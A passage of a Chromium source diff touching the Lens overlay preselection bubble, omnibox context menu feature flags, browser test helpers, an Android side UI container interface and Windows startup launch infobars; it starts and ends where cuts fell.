+void OverlayBaseController::OnViewBoundsChanged(views::View* observed_view) {
+  CHECK(observed_view == overlay_view_);
+
+  // Set our view to the same bounds as the contents web view so it always
+  // covers the tab contents.
+  if (lens_overlay_blur_layer_delegate_) {
+    // Set the blur to have the same bounds as our view, but since it is in our
+    // views local coordinate system, the blur should be positioned at (0,0).
+    lens_overlay_blur_layer_delegate_->layer()->SetBounds(
+        overlay_view_->GetLocalBounds());
+  }
+}
+
+#if BUILDFLAG(IS_MAC)
+void OverlayBaseController::OnWidgetActivationChanged(views::Widget* widget,
+                                                      bool active) {
+  if (active && preselection_widget_) {
+    // On Mac, traversing out of the preselection widget into the browser causes
+    // the browser to restore its focus to the wrong place. Thus, when entering
+    // the preselection widget, make sure to clear out the browser's native
+    // focus. This causes the preselection widget to lose activation, so
+    // reactivate it manually.
+    BrowserElementsViews::From(tab_->GetBrowserWindowInterface())
+        ->GetPrimaryWindowWidget()
+        ->GetFocusManager()
+        ->ClearNativeFocus();
+    preselection_widget_->Activate();
+  }
+}
+#endif
+
+void OverlayBaseController::OnWidgetDestroying(views::Widget* widget) {
+  preselection_widget_ = nullptr;
+  preselection_widget_observer_.Reset();
+}
+
+void OverlayBaseController::OnImmersiveRevealStarted() {
+  // The toolbar has began to reveal. If the overlay is showing, hide the
+  // preselection bubble to ensure it doesn't cover with the toolbar UI.
+  if (IsOverlayShowing()) {
+    HidePreselectionBubble();
+  }
+}
+
+void OverlayBaseController::OnImmersiveRevealEnded() {
+  // The toolbar is no longer revealed. If the overlay is showing, reshow the
+  // preselection bubble to ensure it doesn't cover with the toolbar UI.
+  if (IsOverlayShowing()) {
+    ShowPreselectionBubble();
+  }
+}
+
+void OverlayBaseController::OnImmersiveFullscreenEntered() {
+  // The browser entered immersive fullscreen. If the overlay is showing, call
+  // close and reopen the preselection bubble to ensure it respositions
+  // correctly.
+  if (IsOverlayShowing()) {
+    CloseAndReshowPreselectionBubble();
+  }
+}
+
+void OverlayBaseController::OnImmersiveFullscreenExited() {
+  // The browser exited immersive fullscreen. If the overlay is showing, call
+  // close and reopen the preselection bubble to ensure it respositions
+  // correctly.
+  if (IsOverlayShowing()) {
+    CloseAndReshowPreselectionBubble();
+  }
+}
+
+void OverlayBaseController::ShowPreselectionBubble() {
+  // Don't show the preselection bubble if the overlay is not being shown.
+  if (IsResultsSidePanelShowing()) {
+    return;
+  }
+
+#if BUILDFLAG(IS_MAC)
+  // On Mac, the kShowFullscreenToolbar pref is used to determine whether the
+  // toolbar is always shown. This causes the toolbar to never unreveal, meaning
+  // the preselection bubble will never be shown. Check for this case and show
+  // the preselection bubble if needed.
+  const bool always_show_toolbar =
+      pref_service_->GetBoolean(prefs::kShowFullscreenToolbar);
+#else
+  const bool always_show_toolbar = false;
+#endif  // BUILDFLAG(IS_MAC)
+
+  if (!always_show_toolbar &&
+      ImmersiveModeController::From(tab_->GetBrowserWindowInterface())
+          ->IsRevealed()) {
+    // If the immersive mode controller is revealing top chrome, do not show
+    // the preselection bubble. The bubble will be shown once the reveal
+    // finishes.
+    return;
+  }
+
+  if (!preselection_widget_) {
+    CHECK(preselection_widget_anchor_);
+    // Setup the preselection widget.
+    preselection_widget_ = views::BubbleDialogDelegateView::CreateBubble(
+        std::make_unique<lens::LensPreselectionBubble>(
+            tab_->GetHandle(), preselection_widget_anchor_,
+            net::NetworkChangeNotifier::IsOffline(),
+            /*exit_clicked_callback=*/
+            base::BindRepeating(&OverlayBaseController::RequestSyncClose,
+                                weak_factory_.GetWeakPtr(),
+                                DismissalSource::kPreselectionToastExitButton),
+            /*on_cancel_callback=*/
+            base::BindOnce(&OverlayBaseController::RequestSyncClose,
+                           weak_factory_.GetWeakPtr(),
+                           DismissalSource::kPreselectionToastEscapeKeyPress)));
+    preselection_widget_observer_.Observe(preselection_widget_);
+    // Setting the parent allows focus traversal out of the preselection widget.
+    preselection_widget_->SetFocusTraversableParent(
+        preselection_widget_anchor_->GetWidget()->GetFocusTraversable());
+    preselection_widget_->SetFocusTraversableParentView(
+        preselection_widget_anchor_);
+  }
+
+  // When in fullscreen, top Chrome may cover this widget on Mac. Set the
+  // z-order to floating UI element to ensure the widget is above the top
+  // Chrome. Only do this if immersive mode is enabled to avoid issues with
+  // the preselection widget covering other windows.
+  if (ImmersiveModeController::From(tab_->GetBrowserWindowInterface())
+          ->IsEnabled()) {
+    preselection_widget_->SetZOrderLevel(ui::ZOrderLevel::kFloatingUIElement);
+  } else {
+    preselection_widget_->SetZOrderLevel(ui::ZOrderLevel::kNormal);
+  }
+
+  auto* bubble_view = static_cast<lens::LensPreselectionBubble*>(
+      preselection_widget_->widget_delegate());
+  bubble_view->SetCanActivate(true);
+
+  // The bubble position is dependent on if top chrome is showing. Resize the
+  // bubble to ensure the correct position is used.
+  bubble_view->SizeToContents();
+  // Show inactive so that the overlay remains active.
+  preselection_widget_->ShowInactive();
+}
+
+void OverlayBaseController::CloseAndReshowPreselectionBubble() {
+  // If the preselection bubble is already closed, do not reshow it.
+  if (!preselection_widget_) {
+    return;
+  }
+  ClosePreselectionBubbleImpl();
+  ShowPreselectionBubble();
+}
+
+void OverlayBaseController::HidePreselectionBubble() {
+  if (preselection_widget_) {
+    // The preselection bubble remains in the browser's focus order even when it
+    // is hidden, for example, when another browser tab is active. This means it
+    // remains possible for the bubble to be activated by keyboard input i.e.
+    // tabbing into the bubble, which unhides the bubble even on a browser tab
+    // where the overlay is not being shown. Prevent this by setting the bubble
+    // to non-activatable while it is hidden.
+    auto* bubble_view = static_cast<lens::LensPreselectionBubble*>(
+        preselection_widget_->widget_delegate());
+    bubble_view->SetCanActivate(false);
+
+    preselection_widget_->Hide();
+  }
+}
+
+void OverlayBaseController::ClosePreselectionBubbleImpl() {
+  if (preselection_widget_) {
+    preselection_widget_->Close();
+    preselection_widget_ = nullptr;
+    preselection_widget_observer_.Reset();
+  }
+}
diff --git a/chrome/browser/ui/lens/overlay_base_controller.h b/chrome/browser/ui/lens/overlay_base_controller.h
index f2c280a..a355c175 100644
--- a/chrome/browser/ui/lens/overlay_base_controller.h
+++ b/chrome/browser/ui/lens/overlay_base_controller.h
@@ -98,7 +98,61 @@
     return preselection_widget_.get();
   }
 
+  // Returns true if the overlay is open and covering the current active tab.
+  bool IsOverlayShowing() const;
+
+  // Returns true if the overlay is showing or is in live page mode.
+  bool IsOverlayActive() const;
+
+  // Returns true if the overlay is in the process of initializing.
+  bool IsOverlayInitializing();
+
+  // Returns true if the overlay is currently in the process of closing.
+  bool IsOverlayClosing();
+
+ private:
+  // ViewObserver:
+  void OnViewBoundsChanged(views::View* observed_view) override;
+
+  // views::WidgetObserver:
+#if BUILDFLAG(IS_MAC)
+  void OnWidgetActivationChanged(views::Widget* widget, bool active) override;
+#endif
+  void OnWidgetDestroying(views::Widget* widget) override;
+
+  // ImmersiveModeController::Observer:
+  void OnImmersiveRevealStarted() override;
+  void OnImmersiveRevealEnded() override;
+  void OnImmersiveFullscreenEntered() override;
+  void OnImmersiveFullscreenExited() override;
+
  protected:
+  // Whether the side panel is showing.
+  virtual bool IsResultsSidePanelShowing() = 0;
+
+  enum class DismissalSource {
+    kPreselectionToastExitButton,
+    kPreselectionToastEscapeKeyPress
+  };
+
+  // Request synchronous close of the overlay.
+  virtual void RequestSyncClose(DismissalSource source) = 0;
+
+  // Show preselection toast bubble. Creates a preselection bubble if it does
+  // not exist.
+  void ShowPreselectionBubble();
+
+  // Closes the preselection bubble and reopens it. Used to prevent UI conflicts
+  // between the preselection bubble and top chrome in fullscreen.
+  void CloseAndReshowPreselectionBubble();
+
+  // Hides preselection toast bubble. Used when backgrounding the overlay. This
+  // hides the widget associated with the bubble.
+  void HidePreselectionBubble();
+
+  // Close the preselection bubble.
+  void ClosePreselectionBubbleImpl();
+
   // Owns the this class via TabFeatures.
   raw_ptr<tabs::TabInterface> tab_;
 
@@ -164,7 +218,7 @@
   PrefChangeRegistrar pref_change_registrar_;
 
   // --------------------Browser window scoped state: END---------------------
-
+ private:
   // Must be the last member.
   base::WeakPtrFactory<OverlayBaseController> weak_factory_{this};
 };
diff --git a/chrome/browser/ui/omnibox/omnibox_context_menu_controller.cc b/chrome/browser/ui/omnibox/omnibox_context_menu_controller.cc
index 9fe12d17..9f11db8c8 100644
--- a/chrome/browser/ui/omnibox/omnibox_context_menu_controller.cc
+++ b/chrome/browser/ui/omnibox/omnibox_context_menu_controller.cc
@@ -11,6 +11,7 @@
 #include <string>
 #include <vector>
 
+#include "base/feature_list.h"
 #include "base/memory/weak_ptr.h"
 #include "base/metrics/histogram_functions.h"
 #include "base/strings/strcat.h"
@@ -49,6 +50,7 @@
 #include "components/favicon_base/favicon_types.h"
 #include "components/lens/contextual_input.h"
 #include "components/lens/lens_overlay_mime_type.h"
+#include "components/omnibox/browser/aim_eligibility_service_features.h"
 #include "components/omnibox/browser/searchbox.mojom.h"
 #include "components/omnibox/composebox/composebox_query.mojom.h"
 #include "components/strings/grit/components_strings.h"
@@ -119,7 +121,8 @@
   next_command_id_ = kMinOmniboxContextMenuRecentTabsCommandId;
   auto* composebox_handler =
       GetOmniboxPopupUI() ? GetOmniboxPopupUI()->composebox_handler() : nullptr;
-  if (composebox_handler && ntp_composebox::kShowModelPicker.Get()) {
+  if (composebox_handler &&
+      base::FeatureList::IsEnabled(omnibox::kAimUsePecApi)) {
     composebox_handler->GetInputState(
         base::BindOnce(&OmniboxContextMenuController::OnGetInputState,
                        weak_ptr_factory_.GetWeakPtr()));
@@ -130,31 +133,21 @@
 OmniboxContextMenuController::~OmniboxContextMenuController() = default;
 
 void OmniboxContextMenuController::BuildMenu() {
-  if (ntp_composebox::kShowModelPicker.Get()) {
-    bool is_browser_tab_allowed =
-        IsInputTypeAllowed(omnibox::InputType::INPUT_TYPE_BROWSER_TAB);
-    bool is_contextual_input_allowed =
-        IsInputTypeAllowed(omnibox::InputType::INPUT_TYPE_LENS_IMAGE) ||
-        IsInputTypeAllowed(omnibox::InputType::INPUT_TYPE_LENS_FILE);
-    if (is_browser_tab_allowed) {
+  if (base::FeatureList::IsEnabled(omnibox::kAimUsePecApi)) {
+    if (IsInputTypeAllowed(omnibox::InputType::INPUT_TYPE_BROWSER_TAB)) {
       AddRecentTabItems(/*add_separator=*/false);
-      if (is_contextual_input_allowed) {
-        AddSeparator();
-      }
     }
-    if (is_contextual_input_allowed) {
+    if (IsInputTypeAllowed(omnibox::InputType::INPUT_TYPE_LENS_IMAGE) ||
+        IsInputTypeAllowed(omnibox::InputType::INPUT_TYPE_LENS_FILE)) {
+      AddSeparator();
       AddContextualInputItems();
-      if (!input_state_.allowed_tools.empty()) {
-        AddSeparator();
-      }
     }
     if (!input_state_.allowed_tools.empty()) {
+      AddSeparator();
       AddToolItems(/*add_separator=*/false);
-      if (!input_state_.allowed_models.empty()) {
-        AddSeparator();
-      }
     }
     if (!input_state_.allowed_models.empty()) {
+      AddSeparator();
       AddModelPickerItems();
     }
   } else {
@@ -246,7 +239,7 @@
       IDR_OMNIBOX_POPUP_IMAGES_CREATE_IMAGES_PNG);
   AddItemWithStringIdAndIcon(IDC_OMNIBOX_CONTEXT_CREATE_IMAGES,
                              IDS_NTP_COMPOSE_CREATE_IMAGES, create_images_icon);
-  if (ntp_composebox::kShowModelPicker.Get()) {
+  if (base::FeatureList::IsEnabled(omnibox::kAimUsePecApi)) {
     auto canvas_icon =
         ui::ImageModel::FromVectorIcon(kDraftSparkIcon, ui::kColorMenuIcon,
                                        ui::SimpleMenuModel::kDefaultIconSize);
@@ -590,7 +583,8 @@
     auto* input_state_model =
         composebox_handler ? composebox_handler->input_state_model() : nullptr;
     bool use_input_state_model =
-        ntp_composebox::kShowModelPicker.Get() && input_state_model;
+        base::FeatureList::IsEnabled(omnibox::kAimUsePecApi) &&
+        input_state_model;
 
     // All context actions will eventually log a histogram, but those that open
     // a dialog do so only after the dialog is closed.
@@ -714,7 +708,7 @@
     return false;
   }
 
-  if (ntp_composebox::kShowModelPicker.Get()) {
+  if (base::FeatureList::IsEnabled(omnibox::kAimUsePecApi)) {
     // Command ID corresponds to "Most recent tabs" menu item.
     if (command_id >= kMinOmniboxContextMenuRecentTabsCommandId &&
         command_id < next_command_id_) {
@@ -773,7 +767,7 @@
   // Command ID corresponds to "Most recent tabs" menu item.
   if (command_id >= kMinOmniboxContextMenuRecentTabsCommandId &&
       command_id < next_command_id_) {
-    return ntp_composebox::kShowModelPicker.Get()
+    return base::FeatureList::IsEnabled(omnibox::kAimUsePecApi)
                ? IsInputTypeAllowed(GetInputTypeForCommandId(command_id))
                : true;
   }
@@ -797,15 +791,15 @@
 
     if (command_id == IDC_OMNIBOX_CONTEXT_ADD_IMAGE ||
         command_id == IDC_OMNIBOX_CONTEXT_ADD_FILE) {
-      return ntp_composebox::kShowModelPicker.Get()
+      return base::FeatureList::IsEnabled(omnibox::kAimUsePecApi)
                  ? IsInputTypeAllowed(GetInputTypeForCommandId(command_id))
                  : IsContentSharingEnabled();
     } else if (command_id == IDC_OMNIBOX_CONTEXT_DEEP_RESEARCH) {
-      return ntp_composebox::kShowModelPicker.Get()
+      return base::FeatureList::IsEnabled(omnibox::kAimUsePecApi)
                  ? IsToolAllowed(GetToolModeForCommandId(command_id))
                  : omnibox::IsDeepSearchEnabled(profile);
     } else if (command_id == IDC_OMNIBOX_CONTEXT_CREATE_IMAGES) {
-      return ntp_composebox::kShowModelPicker.Get()
+      return base::FeatureList::IsEnabled(omnibox::kAimUsePecApi)
                  ? IsToolAllowed(GetToolModeForCommandId(command_id))
                  : omnibox::IsCreateImagesEnabled(profile);
     } else if (command_id == IDC_OMNIBOX_CONTEXT_CANVAS) {
diff --git a/chrome/browser/ui/omnibox/omnibox_context_menu_controller_browsertest.cc b/chrome/browser/ui/omnibox/omnibox_context_menu_controller_browsertest.cc
index 44713ab5..2b3fb091 100644
--- a/chrome/browser/ui/omnibox/omnibox_context_menu_controller_browsertest.cc
+++ b/chrome/browser/ui/omnibox/omnibox_context_menu_controller_browsertest.cc
@@ -23,6 +23,7 @@
 #include "chrome/common/webui_url_constants.h"
 #include "chrome/test/base/in_process_browser_test.h"
 #include "chrome/test/base/ui_test_utils.h"
+#include "components/omnibox/browser/aim_eligibility_service_features.h"
 #include "components/prefs/testing_pref_service.h"
 #include "content/public/browser/web_contents.h"
 #include "content/public/test/browser_test.h"
@@ -91,7 +92,8 @@
             "inline"},
            {omnibox::kShowToolsAndModels.name, "true"}}},
          {omnibox::kWebUIOmniboxPopup, {}}},
-        /*disabled_features=*/{omnibox::kAimServerEligibilityEnabled});
+        /*disabled_features=*/{omnibox::kAimServerEligibilityEnabled,
+                               omnibox::kAimUsePecApi});
   }
 
   OmniboxContextMenuControllerBrowserTest(
diff --git a/chrome/browser/ui/omnibox/omnibox_view_browsertest.cc b/chrome/browser/ui/omnibox/omnibox_view_browsertest.cc
index ddddb65f..5dc82b2 100644
--- a/chrome/browser/ui/omnibox/omnibox_view_browsertest.cc
+++ b/chrome/browser/ui/omnibox/omnibox_view_browsertest.cc
@@ -269,20 +269,13 @@
   void ExpectBrowserClosed(Browser* browser,
                            ui::KeyboardCode key,
                            int modifiers) {
-    // Press the accelerator after starting to wait for a browser to close as
-    // the close may be synchronous.
-    base::SingleThreadTaskRunner::GetCurrentDefault()->PostTask(
-        FROM_HERE,
-        base::BindOnce(
-            [](const Browser* browser, ui::KeyboardCode key, int modifiers) {
-              EXPECT_TRUE(ui_test_utils::SendKeyPressSync(
-                  browser, key, (modifiers & ui::EF_CONTROL_DOWN) != 0,
-                  (modifiers & ui::EF_SHIFT_DOWN) != 0,
-                  (modifiers & ui::EF_ALT_DOWN) != 0,
-                  (modifiers & ui::EF_COMMAND_DOWN) != 0));
-            },
-            browser, key, modifiers));
-    ui_test_utils::WaitForBrowserToClose(browser);
+    ui_test_utils::BrowserDestroyedObserver observer(browser);
+    EXPECT_TRUE(ui_test_utils::SendKeyPressSync(
+        browser, key, (modifiers & ui::EF_CONTROL_DOWN) != 0,
+        (modifiers & ui::EF_SHIFT_DOWN) != 0,
+        (modifiers & ui::EF_ALT_DOWN) != 0,
+        (modifiers & ui::EF_COMMAND_DOWN) != 0));
+    observer.Wait();
   }
 
   void NavigateExpectUrl(const GURL& url, int modifiers = 0) {
diff --git a/chrome/browser/ui/side_ui/internal/android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiCoordinatorImpl.java b/chrome/browser/ui/side_ui/internal/android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiCoordinatorImpl.java
index a5b7d0d..ca4a643 100644
--- a/chrome/browser/ui/side_ui/internal/android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiCoordinatorImpl.java
+++ b/chrome/browser/ui/side_ui/internal/android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiCoordinatorImpl.java
@@ -5,11 +5,34 @@
 package org.chromium.chrome.browser.ui.side_ui;
 
 import org.chromium.build.annotations.NullMarked;
+import org.chromium.build.annotations.Nullable;
 
 /** Implementation of {@link SideUiCoordinator}. */
 @NullMarked
 final class SideUiCoordinatorImpl implements SideUiCoordinator {
 
+    // TODO(crbug.com/478338737): Update to account for multiple side containers.
+    @Nullable private SideUiContainer mSideUiContainer;
+
     @Override
-    public void destroy() {}
+    public void registerSideUiContainer(SideUiContainer sideUiContainer) {
+        assert mSideUiContainer == null : "Registering a SideUiContainer when already set.";
+        mSideUiContainer = sideUiContainer;
+    }
+
+    @Override
+    public void unregisterSideUiContainer(SideUiContainer sideUiContainer) {
+        assert mSideUiContainer == sideUiContainer : "Unregistering unknown SideUiContainer.";
+        mSideUiContainer = null;
+    }
+
+    @Override
+    public void requestUpdateContainer(SideUiContainerProperties properties) {
+        // TODO(crbug.com/478306743): Implement.
+    }
+
+    @Override
+    public void destroy() {
+        if (mSideUiContainer != null) unregisterSideUiContainer(mSideUiContainer);
+    }
 }
diff --git a/chrome/browser/ui/side_ui/public/BUILD.gn b/chrome/browser/ui/side_ui/public/BUILD.gn
index 763b210..d82c263 100644
--- a/chrome/browser/ui/side_ui/public/BUILD.gn
+++ b/chrome/browser/ui/side_ui/public/BUILD.gn
@@ -7,8 +7,14 @@
 
 # Public Java interfaces
 android_library("java") {
-  sources = [ "android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiCoordinator.java" ]
-  deps = [ "//build/android:build_java" ]
+  sources = [
+    "android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiContainer.java",
+    "android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiCoordinator.java",
+  ]
+  deps = [
+    "//build/android:build_java",
+    "//third_party/androidx:androidx_annotation_annotation_java",
+  ]
 }
 
 # Public Java factory
diff --git a/chrome/browser/ui/side_ui/public/android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiContainer.java b/chrome/browser/ui/side_ui/public/android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiContainer.java
new file mode 100644
index 0000000..455cb616
--- /dev/null
+++ b/chrome/browser/ui/side_ui/public/android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiContainer.java
@@ -0,0 +1,61 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.ui.side_ui;
+
+import android.view.View;
+import android.view.ViewGroup;
+
+import androidx.annotation.Px;
+
+import org.chromium.build.annotations.NullMarked;
+
+/**
+ * Container for a side UI view that will be anchored to either the left or right side of the main
+ * browser window.
+ */
+@NullMarked
+public interface SideUiContainer {
+
+    /**
+     * Returns the Android {@link View} held by this container. This will be called when this {@link
+     * SideUiContainer} is being registered to a {@link SideUiCoordinator} so that the backing
+     * {@link View} can be attached to the appropriate {@link ViewGroup} in the view hierarchy.
+     *
+     * <p>Notably, the {@link SideUiContainer} <strong>should not</strong> try to attach its backing
+     * {@link View} to the view hierarchy.
+     *
+     * <p>In addition, this {@link SideUiContainer} should not directly resize or reposition this
+     * backing view outside of implementing {@link #setWidth}.
+     *
+     * @return the {@link View} held by this container.
+     */
+    View getView();
+
+    /**
+     * Called by {@link SideUiCoordinator} to determine the container's desired width given the
+     * available width and window width.
+     *
+     * <p>Notably, no UI changes should actually occur in this method. The {@link SideUiCoordinator}
+     * that is hosting this container is responsible for calling {@link #setWidth}, etc. to actually
+     * reflect the newly calculated width.
+     *
+     * @param availableWidth The available width that this container can consume in px.
+     * @param windowWidth The new window width in px.
+     */
+    @Px
+    int determineContainerWidth(@Px int availableWidth, @Px int windowWidth);
+
+    /** Returns the container's current width. */
+    @Px
+    int getCurrentWidth();
+
+    /**
+     * Sets the new width. <strong>Important:</strong> this should only be called by the {@link
+     * SideUiCoordinator} that this container is registered to.
+     *
+     * @param width The new width in px.
+     */
+    void setWidth(@Px int width);
+}
diff --git a/chrome/browser/ui/side_ui/public/android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiCoordinator.java b/chrome/browser/ui/side_ui/public/android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiCoordinator.java
index 4c934c2..fa295ef 100644
--- a/chrome/browser/ui/side_ui/public/android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiCoordinator.java
+++ b/chrome/browser/ui/side_ui/public/android/java/src/org/chromium/chrome/browser/ui/side_ui/SideUiCoordinator.java
@@ -4,6 +4,9 @@
 
 package org.chromium.chrome.browser.ui.side_ui;
 
+import androidx.annotation.IntDef;
+import androidx.annotation.Px;
+
 import org.chromium.build.annotations.NullMarked;
 
 /**
@@ -13,6 +16,55 @@
 @NullMarked
 public interface SideUiCoordinator {
 
+    /**
+     * The side of the window ({@link #START} or {@link #END}) that a {@link SideUiContainer} will
+     * anchor to.
+     */
+    @IntDef({AnchorSide.START, AnchorSide.END})
+    @interface AnchorSide {
+        int START = 0;
+        int END = 1;
+        int NUM_ENTRIES = 2;
+    }
+
+    /**
+     * POD-type that holds the info for a request to reposition or resize a {@link SideUiContainer}.
+     */
+    final class SideUiContainerProperties {
+        final @AnchorSide int mAnchorSide;
+        final @Px int mWidth;
+
+        public SideUiContainerProperties(@AnchorSide int anchorSide, @Px int width) {
+            mAnchorSide = anchorSide;
+            mWidth = width;
+        }
+    }
+
+    /**
+     * Registers a {@link SideUiContainer} to be maintained by this coordinator.
+     *
+     * @param sideUiContainer The {@link SideUiContainer} to register.
+     */
+    void registerSideUiContainer(SideUiContainer sideUiContainer);
+
+    /**
+     * Unregisters a {@link SideUiContainer} such that it will no longer be maintained by this
+     * coordinator.
+     *
+     * @param sideUiContainer The {@link SideUiContainer} to unregister.
+     */
+    void unregisterSideUiContainer(SideUiContainer sideUiContainer);
+
+    /**
+     * Requests that the registered {@link SideUiContainer} change its width.
+     * <strong>Important:</strong> this should only be called by the feature that owns the affected
+     * {@link SideUiContainer}.
+     *
+     * @param properties The {@link SideUiContainerProperties} that defines the new requested
+     *     position for the registered {@link SideUiContainer}.
+     */
+    void requestUpdateContainer(SideUiContainerProperties properties);
+
     /** Destroys all objects owned by this coordinator. */
     void destroy();
 }
diff --git a/chrome/browser/ui/startup/BUILD.gn b/chrome/browser/ui/startup/BUILD.gn
index ead448df..cff8aea 100644
--- a/chrome/browser/ui/startup/BUILD.gn
+++ b/chrome/browser/ui/startup/BUILD.gn
@@ -88,6 +88,19 @@
   }
 
   if (is_win) {
+    sources += [
+      "startup_launch_infobar_delegate.h",
+      "startup_launch_infobar_manager_impl.h",
+    ]
+
+    public_deps += [
+      "//chrome/browser/startup",
+      "//chrome/browser/ui:browser_tab_strip",
+      "//chrome/browser/ui/tabs:tab_strip_model_observer",
+    ]
+  }
+
+  if (is_win) {
     assert(toolkit_views)
     assert(use_aura)
 
@@ -249,6 +262,14 @@
       deps += [ "//chrome/browser/ui/views/session_restore_infobar" ]
     }
 
+    if (is_win) {
+      sources += [
+        "startup_launch_infobar_delegate.cc",
+        "startup_launch_infobar_manager_impl.cc",
+      ]
+      deps += [ "//chrome/browser/startup" ]
+    }
+
     if (is_win && is_chrome_branded) {
       deps += [ "//chrome/browser/win/installer_downloader:controller" ]
     }
@@ -511,5 +532,10 @@
     if (use_aura) {
       deps += [ "//ui/aura" ]
     }
+
+    if (is_win) {
+      sources += [ "startup_launch_infobar_interactive_uitest.cc" ]
+      deps += [ "//chrome/browser/ui/views/infobars" ]
+    }
   }
 }
diff --git a/chrome/browser/ui/startup/infobar_utils.cc b/chrome/browser/ui/startup/infobar_utils.cc
index 04e26dad..f1d853b1 100644
--- a/chrome/browser/ui/startup/infobar_utils.cc
+++ b/chrome/browser/ui/startup/infobar_utils.cc
@@ -55,6 +55,11 @@
 #include "chrome/browser/win/installer_downloader/installer_downloader_controller.h"
 #endif
 
+#if BUILDFLAG(IS_WIN)
+#include "chrome/browser/startup/startup_launch_manager.h"  // nogncheck
+#include "chrome/browser/ui/startup/startup_launch_infobar_manager_impl.h"  // nogncheck
+#endif
+
 namespace {
 bool ShouldShowBadFlagsSecurityWarnings() {
 #if !BUILDFLAG(IS_CHROMEOS)
@@ -192,6 +197,15 @@
     }
   }
 
+#if BUILDFLAG(IS_WIN)
+  if (auto* startup_launch_manager =
+          StartupLaunchManager::From(g_browser_process)) {
+    startup_launch_manager->SetInfoBarManager(
+        std::make_unique<StartupLaunchInfoBarManagerImpl>());
+    startup_launch_manager->MaybeShowInfoBars();
+  }
+#endif
+
 #if BUILDFLAG(IS_WIN) && BUILDFLAG(GOOGLE_CHROME_BRANDING)
   if (auto* controller =
           g_browser_process->GetFeatures()->installer_downloader_controller()) {
diff --git a/chrome/browser/ui/startup/startup_browser_creator_browsertest.cc b/chrome/browser/ui/startup/startup_browser_creator_browsertest.cc
index f854e00c..2ec5ba1 100644
--- a/chrome/browser/ui/startup/startup_browser_creator_browsertest.cc
+++ b/chrome/browser/ui/startup/startup_browser_creator_browsertest.cc
@@ -3085,8 +3085,9 @@
   content::WebContents* web_contents = tab_strip->GetWebContentsAt(0);
   EXPECT_EQ(file_handler.action, web_contents->GetVisibleURL());
 
+  ui_test_utils::BrowserDestroyedObserver observer(app_browser);
   app_browser->GetWindow()->Close();
-  ui_test_utils::WaitForBrowserToClose(app_browser);
+  observer.Wait();
 }
 
 #endif  // BUILDFLAG(IS_WIN) || BUILDFLAG(IS_MAC) || BUILDFLAG(IS_LINUX)
diff --git a/chrome/browser/ui/startup/startup_launch_infobar_delegate.cc b/chrome/browser/ui/startup/startup_launch_infobar_delegate.cc
new file mode 100644
index 0000000..6fb0431
--- /dev/null
+++ b/chrome/browser/ui/startup/startup_launch_infobar_delegate.cc
@@ -0,0 +1,92 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/ui/startup/startup_launch_infobar_delegate.h"
+
+#include <memory>
+
+#include "base/types/pass_key.h"
+#include "chrome/browser/browser_process.h"
+#include "chrome/browser/profiles/profile.h"
+#include "chrome/browser/startup/startup_launch_manager.h"
+#include "chrome/browser/ui/browser_list.h"
+#include "chrome/browser/ui/chrome_pages.h"
+#include "chrome/common/pref_names.h"
+#include "chrome/common/webui_url_constants.h"
+#include "chrome/grit/branded_strings.h"
+#include "chrome/grit/generated_resources.h"
+#include "components/infobars/core/confirm_infobar_delegate.h"
+#include "components/infobars/core/infobar.h"
+#include "components/omnibox/browser/vector_icons.h"
+#include "components/prefs/pref_service.h"
+#include "components/vector_icons/vector_icons.h"
+#include "ui/base/l10n/l10n_util.h"
+
+// static
+std::unique_ptr<StartupLaunchInfoBarDelegate>
+StartupLaunchInfoBarDelegate::Create(
+    Profile* profile,
+    StartupLaunchInfoBarManager::InfoBarType infobar_type) {
+  return std::make_unique<StartupLaunchInfoBarDelegate>(
+      base::PassKey<StartupLaunchInfoBarDelegate>(), profile, infobar_type);
+}
+
+StartupLaunchInfoBarDelegate::StartupLaunchInfoBarDelegate(
+    base::PassKey<StartupLaunchInfoBarDelegate>,
+    Profile* profile,
+    StartupLaunchInfoBarManager::InfoBarType infobar_type)
+    : profile_(profile), infobar_type_(infobar_type) {}
+
+StartupLaunchInfoBarDelegate::~StartupLaunchInfoBarDelegate() = default;
+
+infobars::InfoBarDelegate::InfoBarIdentifier
+StartupLaunchInfoBarDelegate::GetIdentifier() const {
+  return STARTUP_LAUNCH_INFOBAR_DELEGATE;
+}
+
+const gfx::VectorIcon& StartupLaunchInfoBarDelegate::GetVectorIcon() const {
+  return dark_mode() ? omnibox::kProductChromeRefreshIcon
+                     : vector_icons::kProductRefreshIcon;
+}
+
+bool StartupLaunchInfoBarDelegate::ShouldExpire(
+    const NavigationDetails& details) const {
+  return false;
+}
+
+std::u16string StartupLaunchInfoBarDelegate::GetMessageText() const {
+  switch (infobar_type_) {
+    case StartupLaunchInfoBarManager::InfoBarType::kForegroundOptIn:
+      return l10n_util::GetStringUTF16(IDS_STARTUP_LAUNCH_INFOBAR_OPT_IN_TITLE);
+    case StartupLaunchInfoBarManager::InfoBarType::kForegroundOptOut:
+      return l10n_util::GetStringUTF16(
+          IDS_STARTUP_LAUNCH_INFOBAR_OPT_OUT_TITLE);
+  }
+}
+
+int StartupLaunchInfoBarDelegate::GetButtons() const {
+  return BUTTON_OK;
+}
+
+bool StartupLaunchInfoBarDelegate::Accept() {
+  // Notify observers but don't close the infobar. Closing infobar will occur
+  // when the corresponding pref is changed.
+  ConfirmInfoBarDelegate::Accept();
+  return false;
+}
+
+std::u16string StartupLaunchInfoBarDelegate::GetButtonLabel(
+    InfoBarButton /*button*/) const {
+  switch (infobar_type_) {
+    case StartupLaunchInfoBarManager::InfoBarType::kForegroundOptIn:
+      return l10n_util::GetStringUTF16(IDS_STARTUP_LAUNCH_INFOBAR_ALLOW_BUTTON);
+    case StartupLaunchInfoBarManager::InfoBarType::kForegroundOptOut:
